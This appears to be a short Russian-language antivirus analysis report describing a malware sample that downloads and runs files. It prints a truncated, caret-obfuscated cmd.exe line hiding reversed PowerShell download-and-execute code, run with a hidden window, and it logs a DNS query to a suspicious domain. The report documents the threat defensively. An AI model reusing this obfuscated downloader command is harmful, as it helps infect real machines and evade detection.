Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V^:^ON/C"^s^e^t ^X7^4^K=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{^hc^t^ac^}^;^k^a^er^b^;Y^IB^$^ ^m^e^tI-e^k^ovn^I^;)^Y^I^B^$^ ^,^T^Bv^$(^e^l^i^Fd^a^o^ln^w^o^D^.^EvN^$^{^yr^t^{)^s^I^o^$^ ni^ ^T^...
Сетевая активность
UDP
- DNS ASK 38######0si8sowppdoiwpc.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V^:^ON/C"^s^e^t ^X7^4^K=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{^hc^t^ac^}^;^k^a^er^b^;Y^IB^$^ ^m^e^tI-e^k^ovn^I^;)^Y^I^B^$^ ^,^T^Bv^$(^e^l^i^Fd^a^o^ln^w^o^D^.^EvN^$^{^yr^t^{)^s^I^o^$^ ni^ ^T^...' (со скрытым окном)
